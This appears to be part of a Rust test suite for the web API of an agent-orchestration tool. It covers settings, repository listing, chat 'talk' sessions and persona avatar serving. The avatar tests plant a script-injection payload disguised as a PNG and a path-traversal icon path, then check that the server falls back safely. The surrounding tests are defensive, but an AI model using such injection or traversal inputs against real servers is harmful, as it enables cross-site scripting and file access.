10329 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10330 let rev = f.get("/api/settings").await.json()["revision"]
10331 .as_str()
10332 .expect("revision")
10333 .to_owned();
10334 let body = serde_json::json!({
10335 "revision": rev,
10336 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10337 })
10338 .to_string();
10339 let res = f.put("/api/settings/roles", &body).await;
10340 assert_eq!(res.status, 200, "{}", res.body);
10341 let text = std::fs::read_to_string(&machine).expect("machine");
10342 assert_eq!(
10343 text,
10344 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10345 );
10346 assert_eq!(
10347 std::fs::read(repo.join("magi.toml")).expect("read"),
10348 repo_before
10349 );
10350 let again = f.get("/api/settings").await.json();
10351 let judges = again["roles"]
10352 .as_array()
10353 .expect("roles")
10354 .iter()
10355 .find(|r| r["key"] == "judges")
10356 .expect("judges")
10357 .clone();
10358 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10359 let stale = f.put("/api/settings/roles", &body).await;
10361 assert_eq!(stale.status, 409, "{}", stale.body);
10362 }
10363
10364 #[tokio::test]
10365 async fn settings_counts_are_reported_and_saved() {
10366 let (_tmp, repo, machine) = settings_dirs(
10367 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10368 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10369 );
10370 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10371 let v = f.get("/api/settings").await.json();
10372 let count = |v: &serde_json::Value, k: &str| {
10373 v["roles"]
10374 .as_array()
10375 .and_then(|r| r.iter().find(|x| x["key"] == k))
10376 .map(|x| x["count"].clone())
10377 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10378 };
10379 let imp = count(&v, "implementers");
10380 assert_eq!(imp["value"], 2);
10381 assert_eq!(imp["source"], "machine");
10382 assert_eq!(imp["file_key"], "candidates");
10383 assert_eq!(imp["roster_len"], 2);
10384 assert_eq!(imp["backups"], 0);
10385 assert_eq!(count(&v, "judges")["source"], "default");
10386 assert_eq!(count(&v, "advisors")["min"], 0);
10387 assert_eq!(count(&v, "reviewers")["editable"], false);
10388 assert!(
10389 count(&v, "reviewers")["locked_reason"]
10390 .as_str()
10391 .is_some_and(|m| m.contains("graph.reviewers"))
10392 );
10393 assert!(count(&v, "fixer").is_null());
10394 let rev = v["revision"].as_str().expect("revision").to_owned();
10395 let body = serde_json::json!({
10396 "revision": rev,
10397 "roles": { "judges": ["b"] },
10398 "counts": { "implementers": 1, "advisors": 0 }
10399 })
10400 .to_string();
10401 let res = f.put("/api/settings/roles", &body).await;
10402 assert_eq!(res.status, 200, "{}", res.body);
10403 let text = std::fs::read_to_string(&machine).expect("machine");
10404 assert_eq!(
10405 text,
10406 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10407 );
10408 let after = f.get("/api/settings").await.json();
10409 assert_eq!(count(&after, "implementers")["value"], 1);
10410 assert_eq!(count(&after, "implementers")["backups"], 1);
10411 assert_eq!(count(&after, "advisors")["value"], 0);
10412 let before = std::fs::read_to_string(&machine).expect("machine");
10413 let rev = after["revision"].as_str().expect("revision").to_owned();
10414 for counts in [
10415 serde_json::json!({ "judges": 0 }),
10416 serde_json::json!({ "judges": "x" }),
10417 serde_json::json!({ "judges": 2.5 }),
10418 serde_json::json!({ "judges": -1 }),
10419 serde_json::json!({ "reviewers": 3 }),
10420 serde_json::json!({ "bogus": 3 }),
10421 ] {
10422 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10423 let res = f.put("/api/settings/roles", &body).await;
10424 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10425 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10426 }
10427 }
10428
10429 #[tokio::test]
10430 async fn settings_put_refuses_without_touching_the_file() {
10431 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10432 let (_tmp, repo, machine) = settings_dirs(
10433 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10434 Some(machine_text),
10435 );
10436 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10437 let rev = f.get("/api/settings").await.json()["revision"]
10438 .as_str()
10439 .expect("revision")
10440 .to_owned();
10441 for roles in [
10442 serde_json::json!({ "judges": ["nope"] }),
10443 serde_json::json!({ "reviewers": ["b"] }),
10444 serde_json::json!({ "bogus": ["a"] }),
10445 ] {
10446 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10447 let res = f.put("/api/settings/roles", &body).await;
10448 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10449 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10450 assert_eq!(
10451 std::fs::read_to_string(&machine).expect("machine"),
10452 machine_text
10453 );
10454 }
10455 }
10456
10457 #[tokio::test]
10458 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10459 let tmp = TempDir::new().expect("tempdir");
10460 let repo = tmp.path().join("repo");
10461 std::fs::create_dir_all(&repo).expect("repo dir");
10462 let root = tmp.path().join("root");
10463 make_checkout(&root, "github.com", "yukimemi", "magi");
10464 std::fs::write(
10465 repo.join("magi.toml"),
10466 format!(
10467 "[repos]\nroots = [{:?}]\n",
10468 root.to_string_lossy().into_owned()
10469 ),
10470 )
10471 .expect("write magi.toml");
10472
10473 let f = Fixture::with_repo(repo).await;
10474 let res = f.get("/api/repos").await;
10475 assert_eq!(res.status, 200, "{}", res.body);
10476 let list = res.json();
10477 let repos = list.as_array().expect("an array");
10478 assert_eq!(repos.len(), 1);
10479 assert_eq!(repos[0]["name"], "yukimemi/magi");
10480 assert!(
10481 repos[0]["path"]
10482 .as_str()
10483 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10484 "{list}"
10485 );
10486 }
10487
10488 #[tokio::test]
10489 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10490 let tmp = TempDir::new().expect("tempdir");
10491 let repo = tmp.path().join("repo");
10492 std::fs::create_dir_all(&repo).expect("repo dir");
10493 let root = tmp.path().join("root");
10494 make_checkout(&root, "github.com", "yukimemi", "magi");
10495 std::fs::write(
10496 repo.join("magi.toml"),
10497 format!(
10498 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10499 root.to_string_lossy().into_owned()
10500 ),
10501 )
10502 .expect("write magi.toml");
10503
10504 let f = Fixture::with_repo(repo).await;
10505 let first = f.get("/api/repos").await;
10506 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10507
10508 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10511 let second = f.get("/api/repos").await;
10512 assert_eq!(
10513 second.json().as_array().map(Vec::len),
10514 Some(1),
10515 "a fresh cache must not rescan inside the TTL"
10516 );
10517
10518 let refreshed = f.get("/api/repos?refresh=1").await;
10519 assert_eq!(
10520 refreshed.json().as_array().map(Vec::len),
10521 Some(2),
10522 "an explicit refresh must rescan even inside the TTL"
10523 );
10524 }
10525
10526 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10532
10533 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10537 let tmp = TempDir::new().expect("tempdir");
10538 let repo = tmp.path().join("repo");
10539 std::fs::create_dir_all(&repo).expect("repo dir");
10540 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10541 let f = Fixture::with_repo(repo.clone()).await;
10542 (tmp, repo, f)
10543 }
10544
10545 #[tokio::test]
10546 async fn posting_a_talk_with_remembered_choices_is_soft() {
10547 let (_tmp, _repo, f) = talk_fixture().await;
10548
10549 let good = f
10550 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10551 .await;
10552 assert_eq!(good.status, 201, "{}", good.body);
10553 assert_eq!(good.json()["persona"], "rei");
10554
10555 let stale = f
10557 .post(
10558 "/api/talks",
10559 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10560 )
10561 .await;
10562 assert_eq!(stale.status, 201, "{}", stale.body);
10563 let v = stale.json();
10564 assert_eq!(v["implementers"], 1);
10565 assert_ne!(v["persona"], "nobody");
10566 let typed = f
10567 .post(
10568 "/api/talks",
10569 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10570 )
10571 .await;
10572 assert_eq!(typed.status, 201, "{}", typed.body);
10573
10574 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10576 assert!(
10577 !strict.status.to_string().starts_with('2'),
10578 "{}",
10579 strict.body
10580 );
10581 }
10582
10583 #[tokio::test]
10584 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10585 let (_tmp, _repo, f) = talk_fixture().await;
10586
10587 let opened = f.post("/api/talks", None).await;
10590 assert_eq!(opened.status, 201, "{}", opened.body);
10591 let body = opened.json();
10592 assert_eq!(body["status"], "open");
10593 assert_eq!(
10594 body["turns"].as_array().unwrap().len(),
10595 0,
10596 "opening takes no agent turn: there is nothing yet to answer"
10597 );
10598
10599 let also_opened = f.post("/api/talks", Some("{}")).await;
10601 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10602
10603 let listed = f.get("/api/talks").await.json();
10604 assert_eq!(listed.as_array().unwrap().len(), 2);
10605 }
10606
10607 #[tokio::test]
10608 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10609 let tmp = TempDir::new().expect("tempdir");
10610 let repo = tmp.path().join("repo");
10611 std::fs::create_dir_all(&repo).expect("repo dir");
10612 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10613 std::fs::write(
10614 repo.join("magi.toml"),
10615 format!("{MOCK_AGENT_TOML}\n{second}"),
10616 )
10617 .expect("write magi.toml");
10618 let home = TempDir::new().expect("temp home");
10619 let talks = Talks::at(home.path().join("talks"));
10620 let ui = Arc::new(
10621 Ui::new(
10622 Queue::at(home.path().join("queue")),
10623 Questions::at(home.path().join("questions")),
10624 talks.clone(),
10625 home.path().join("runs"),
10626 home.path().to_path_buf(),
10627 repo.clone(),
10628 )
10629 .with_worktrees_root(home.path().join("wt")),
10630 );
10631 let cfg = config_for(&repo).await.expect("discover config");
10632 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10633 let id = talk.id.clone();
10634 let call = |agent: &str| {
10635 talk_agent(
10636 State(Arc::clone(&ui)),
10637 Path(id.clone()),
10638 Json(TalkAgent {
10639 agent: agent.to_owned(),
10640 }),
10641 )
10642 };
10643
10644 let unknown = call("nobody").await.expect_err("unknown agent");
10645 assert_eq!(
10646 unknown.status,
10647 StatusCode::BAD_REQUEST,
10648 "{}",
10649 unknown.message
10650 );
10651
10652 {
10653 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10656 let busy = call("second").await.expect_err("busy talk");
10657 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10658 assert!(
10659 busy.message.contains("a talk turn is running"),
10660 "{}",
10661 busy.message
10662 );
10663 drop(guard);
10664 }
10665 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10666
10667 let Json(view) = call("second").await.expect("switch");
10668 assert_eq!(view.talk.agent, "second");
10669 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10670 let saved = talks.get(&id).expect("reload");
10671 assert_eq!(saved.agent, "second");
10672 assert_eq!(saved.turns.len(), 1);
10673 assert!(!view.thinking);
10674 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10675 for agent in ["mock", "second"] {
10676 let Json(view) = call(agent).await.expect("immediate consecutive change");
10677 assert_eq!(view.talk.agent, agent);
10678 assert!(!view.thinking);
10679 assert!(!ui.is_thinking(&id));
10680 }
10681
10682 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10683 .await
10684 .expect("detail");
10685 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10686 assert_eq!(roster, ["mock", "second"]);
10687
10688 let mut closed = talks.get(&id).expect("reload");
10689 talk::close(&mut closed, &talks).expect("close");
10690 let refused = call("mock").await.expect_err("closed talk");
10691 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10692 assert!(
10693 refused.message.contains("takes no more turns"),
10694 "{}",
10695 refused.message
10696 );
10697 }
10698
10699 #[tokio::test]
10700 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10701 let tmp = TempDir::new().expect("tempdir");
10702 let repo = tmp.path().join("repo");
10703 std::fs::create_dir_all(&repo).expect("repo dir");
10704 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10705 let home = TempDir::new().expect("temp home");
10706 let talks = Talks::at(home.path().join("talks"));
10707 let ui = Arc::new(
10708 Ui::new(
10709 Queue::at(home.path().join("queue")),
10710 Questions::at(home.path().join("questions")),
10711 talks.clone(),
10712 home.path().join("runs"),
10713 home.path().to_path_buf(),
10714 repo.clone(),
10715 )
10716 .with_worktrees_root(home.path().join("wt")),
10717 );
10718 let cfg = config_for(&repo).await.expect("discover config");
10719 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10720 let id = talk.id.clone();
10721 let call = |n: u8| {
10722 talk_implementers(
10723 State(Arc::clone(&ui)),
10724 Path(id.clone()),
10725 Json(TalkImplementers { implementers: n }),
10726 )
10727 };
10728
10729 for bad in [0u8, 4] {
10730 let e = call(bad).await.expect_err("out of range");
10731 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10732 }
10733 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10734
10735 {
10736 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10739 let busy = call(2).await.expect_err("busy talk");
10740 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10741 assert!(
10742 busy.message.contains("a talk turn is running"),
10743 "{}",
10744 busy.message
10745 );
10746 drop(guard);
10747 }
10748
10749 let Json(view) = call(3).await.expect("switch");
10750 assert_eq!(view.talk.implementers, 3);
10751 assert!(talks.get(&id).expect("reload").implementers_dirty);
10752 assert!(!view.thinking);
10753 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10754 for n in [1, 2, 3] {
10755 let Json(view) = call(n).await.expect("immediate consecutive change");
10756 assert_eq!(view.talk.implementers, n);
10757 assert!(!view.thinking);
10758 assert!(!ui.is_thinking(&id));
10759 }
10760
10761 let mut closed = talks.get(&id).expect("reload");
10762 talk::close(&mut closed, &talks).expect("close");
10763 let e = call(2).await.expect_err("closed talk");
10764 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10765 assert!(e.message.contains("takes no more turns"), "{}", e.message);
10766 }
10767
10768 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10770 let tmp = TempDir::new().expect("tempdir");
10771 let repo = tmp.path().join("repo");
10772 std::fs::create_dir_all(&repo).expect("repo dir");
10773 std::fs::write(
10774 repo.join("magi.toml"),
10775 format!("{MOCK_AGENT_TOML}\n{extra}"),
10776 )
10777 .expect("write magi.toml");
10778 let home = TempDir::new().expect("temp home");
10779 let talks = Talks::at(home.path().join("talks"));
10780 let ui = Arc::new(
10781 Ui::new(
10782 Queue::at(home.path().join("queue")),
10783 Questions::at(home.path().join("questions")),
10784 talks.clone(),
10785 home.path().join("runs"),
10786 home.path().to_path_buf(),
10787 repo.clone(),
10788 )
10789 .with_worktrees_root(home.path().join("wt")),
10790 );
10791 let cfg = config_for(&repo).await.expect("discover config");
10792 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10793 (tmp, home, ui, talk.id, repo)
10794 }
10795
10796 async fn avatar(
10798 ui: &Arc<Ui>,
10799 id: &str,
10800 persona: Option<&str>,
10801 builtin: bool,
10802 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10803 let res = talk_avatar(
10804 State(Arc::clone(ui)),
10805 Path(id.to_owned()),
10806 Query(AvatarQuery {
10807 persona: persona.map(str::to_owned),
10808 builtin: builtin.then(|| "1".to_owned()),
10809 }),
10810 )
10811 .await
10812 .expect("an avatar is never an error response");
10813 let h = res.headers();
10814 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10815 let nosniff = h
10816 .get(header::X_CONTENT_TYPE_OPTIONS)
10817 .is_some_and(|v| v == "nosniff");
10818 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10819 let status = res.status();
10820 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10821 .await
10822 .expect("body")
10823 .to_vec();
10824 (status, ct, nosniff, csp, body)
10825 }
10826
10827 fn tiny_png() -> Vec<u8> {
10828 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10829 b.extend_from_slice(&[0u8; 32]);
10830 b
10831 }
10832
10833 #[tokio::test]
10834 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
10835 let res = operator_avatar().await;
10836 assert_eq!(res.status(), StatusCode::OK);
10837 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
10838 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
10839 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
10840 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
10841 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10842 .await
10843 .unwrap();
10844 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
10845 assert_ne!(
10846 persona_icon::operator_svg(),
10847 persona_icon::builtin_svg("default")
10848 );
10849 }
10850
10851 #[tokio::test]
10852 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10853 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10854 for p in [
10855 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10856 ] {
10857 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10858 assert_eq!(status, StatusCode::OK, "{p}");
10859 assert_eq!(ct, "image/svg+xml", "{p}");
10860 assert!(nosniff && csp, "{p}");
10861 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10862 }
10863 let own = avatar(&ui, &id, None, false).await;
10865 let default = avatar(&ui, &id, Some("default"), false).await;
10866 assert_eq!(own.4, default.4);
10867 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10868 assert_eq!(unknown.1, "image/svg+xml");
10869 }
10870
10871 #[tokio::test]
10872 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10873 let dir = TempDir::new().expect("icons");
10874 let good = dir.path().join("good.png");
10875 std::fs::write(&good, tiny_png()).unwrap();
10876 let spoof = dir.path().join("spoof.png");
10877 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10878 let big = dir.path().join("big.png");
10879 let mut bytes = tiny_png();
10880 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10881 std::fs::write(&big, bytes).unwrap();
10882 let missing = dir.path().join("missing.png");
10883 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10884 let extra = format!(
10885 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10886 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10887 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10888 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10889 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10890 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10891 uri(&good),
10892 uri(&spoof),
10893 uri(&big),
10894 uri(&missing),
10895 );
10896 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10897
10898 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10899 assert_eq!(
10900 (status, ct.as_str(), nosniff),
10901 (StatusCode::OK, "image/png", true)
10902 );
10903 assert_eq!(body, tiny_png());
10904 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10905 assert_eq!(ct, "image/png", "data URI");
10906
10907 for p in ["misato", "asuka", "shinji", "magi"] {
10908 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10909 assert_eq!(
10910 (status, ct.as_str(), csp),
10911 (StatusCode::OK, "image/svg+xml", true),
10912 "{p}"
10913 );
10914 assert!(body.starts_with(b"<svg"), "{p}");
10915 }
10916 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10918 assert_eq!(ct, "image/svg+xml");
10919 }
10920
10921 #[tokio::test]
10922 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10923 let oversized = format!(
10924 "data:image/png;base64,{}",
10925 "A".repeat(persona_icon::ICON_MAX_BYTES)
10926 );
10927 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10928 let extra = format!(
10929 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10930 );
10931 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10932 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10933 .await
10934 .expect("detail with invalid icon");
10935 assert!(detail.personas.iter().any(|p| p.id == "custom"));
10936 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10937 assert_eq!(status, StatusCode::OK);
10938 assert_eq!(ct, "image/svg+xml");
10939 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10940 let Json(view) = talk_persona(
10941 State(Arc::clone(&ui)),
10942 Path(id.clone()),
10943 Json(TalkPersona {
10944 persona: "custom".into(),
10945 }),
10946 )
10947 .await
10948 .expect("persona switch with invalid icon");
10949 assert_eq!(view.talk.persona, "custom");
10950 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10951 }
10952 }
10953
10954 #[tokio::test]
10955 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10956 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10957 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10958 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10959 assert_eq!(
10960 (status, ct.as_str(), nosniff, csp),
10961 (StatusCode::OK, "image/svg+xml", true, true)
10962 );
10963 }
10964
10965 #[tokio::test]
10966 async fn the_talk_view_carries_server_built_avatar_urls_only() {
10967 let (_t, _h, ui, id, _repo) =
10968 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10969 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10970 .await
10971 .expect("detail");
10972 let json = serde_json::to_string(&detail).unwrap();
10973 assert!(
10974 !json.contains("secret"),
10975 "the icon setting must not leak: {json}"
10976 );
10977 assert!(
10978 detail
10979 .view
10980 .persona_avatar
10981 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10982 );
10983 assert_eq!(
10984 detail.view.operator_avatar,
10985 format!(
10986 "/avatars/operator.svg?v={}",
10987 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
10988 )
10989 );
10990 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
10991 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10992 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10993 assert!(rei.avatar.contains("persona=rei&v="));
10994 assert_ne!(
10995 rei.avatar.split("&v=").nth(1),
10996 plain.avatar.split("&v=").nth(1)
10997 );
10998 }
10999
11000 #[tokio::test]
11001 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11002 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11003 let cfg = config_for(&repo).await.unwrap();
11004 for arrived in [false, true] {
11005 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11006 let observed = ui.queued_generation(&id);
11007 let talk = ui.talks.get(&id).unwrap();
11008 if arrived {
11009 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11010 }
11011 let mut settling = std::pin::pin!(settle_settings_turn(
11012 talk,
11013 ui.talks.clone(),
11014 cfg.clone(),
11015 id.clone(),
11016 turn,
11017 observed
11018 ));
11019 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
11020 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
11021 assert_eq!(first.is_pending(), arrived);
11022 if arrived {
11023 assert!(!settling.await);
11024 }
11025 assert!(!ui.is_thinking(&id));
11026 }
11027 }
11028
11029 #[tokio::test]
11030 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
11031 let tmp = TempDir::new().expect("tempdir");
11032 let repo = tmp.path().join("repo");
11033 std::fs::create_dir_all(&repo).expect("repo dir");
11034 std::fs::write(
11035 repo.join("magi.toml"),
11036 format!(
11037 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
11038 ),
11039 )
11040 .expect("write magi.toml");
11041 let home = TempDir::new().expect("temp home");
11042 let talks = Talks::at(home.path().join("talks"));
11043 let ui = Arc::new(
11044 Ui::new(
11045 Queue::at(home.path().join("queue")),
11046 Questions::at(home.path().join("questions")),
11047 talks.clone(),
11048 home.path().join("runs"),
11049 home.path().to_path_buf(),
11050 repo.clone(),
11051 )
11052 .with_worktrees_root(home.path().join("wt")),
11053 );
11054 let cfg = config_for(&repo).await.expect("discover config");
11055 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11056 let id = talk.id.clone();
11057 let call = |persona: &str| {
11058 talk_persona(
11059 State(Arc::clone(&ui)),
11060 Path(id.clone()),
11061 Json(TalkPersona {
11062 persona: persona.to_owned(),
11063 }),
11064 )
11065 };
11066
11067 let unknown = call("nobody").await.expect_err("unknown persona");
11068 assert_eq!(
11069 unknown.status,
11070 StatusCode::BAD_REQUEST,
11071 "{}",
11072 unknown.message
11073 );
11074
11075 {
11076 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11079 let busy = call("rei").await.expect_err("busy talk");
11080 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11081 assert!(
11082 busy.message.contains("a talk turn is running"),
11083 "{}",
11084 busy.message
11085 );
11086 drop(guard);
11087 }
11088 assert_eq!(talks.get(&id).expect("reload").persona, "");
11089
11090 let Json(view) = call("gendo").await.expect("switch to a configured persona");
11091 assert_eq!(view.talk.persona, "gendo");
11092 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
11093 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11094 for chosen in ["default", "gendo", "rei", "gendo"] {
11096 let Json(view) = call(chosen).await.expect("immediate consecutive change");
11097 assert!(!view.thinking);
11098 assert!(!ui.is_thinking(&id));
11099 }
11100
11101 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11102 .await
11103 .expect("detail");
11104 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
11105 assert_eq!(ids.first(), Some(&"default"));
11106 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
11107
11108 let Json(view) = call("default").await.expect("back to default");
11109 assert_eq!(view.talk.persona, "");
11110
11111 let mut closed = talks.get(&id).expect("reload");
11112 talk::close(&mut closed, &talks).expect("close");
11113 let refused = call("rei").await.expect_err("closed talk");
11114 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11115 assert!(
11116 refused.message.contains("takes no more turns"),
11117 "{}",
11118 refused.message
11119 );
11120 }
11121
11122 #[tokio::test]
11123 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
11124 let f = Fixture::start().await;
11125 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
11126 let queue = f.queue();
11127 let mut mine = Task::new(
11128 "rename the loader".to_owned(),
11129 "rename the loader".to_owned(),
11130 PathBuf::from("/repo/magi"),
11131 Source::Agent {
11132 run: talk_id.clone(),
11133 node: "chat".to_owned(),
11134 },
11135 );
11136 queue.put(&mut mine).expect("file the task");
11137 let mut theirs = Task::new(
11138 "unrelated".to_owned(),
11139 "unrelated".to_owned(),
11140 PathBuf::from("/repo/magi"),
11141 Source::Human,
11142 );
11143 queue.put(&mut theirs).expect("file the task");
11144
11145 let res = f.get(&format!("/api/talks/{talk_id}")).await;
11146 assert_eq!(res.status, 200, "{}", res.body);
11147 let body = res.json();
11148 assert_eq!(
11149 body["status"], "open",
11150 "filing a task does not close a talk"
11151 );
11152 let tasks = body["tasks"].as_array().expect("tasks array");
11153 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11154 assert_eq!(tasks[0]["id"], mine.id);
11155 }
11156
11157 #[tokio::test]
11158 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11159 let (_tmp, _repo, f) = talk_fixture().await;
11160 let id = f.post("/api/talks", None).await.json()["id"]
11161 .as_str()
11162 .expect("id")
11163 .to_owned();
11164
11165 let res = f
11166 .post(
11167 &format!("/api/talks/{id}/say"),
11168 Some(r#"{"text":"what does the queue module do?"}"#),
11169 )
11170 .await;
11171 assert_eq!(res.status, 202, "{}", res.body);
11172 let queued = res.json();
11173 let turns = queued["turns"].as_array().expect("turns array");
11174 assert_eq!(
11175 turns.len(),
11176 1,
11177 "the answer reflects only what is on disk the instant it is sent, \
11178 before the agent's turn - which can run for the whole of \
11179 `[graph] timeout_talk` - has a chance to land: {queued}"
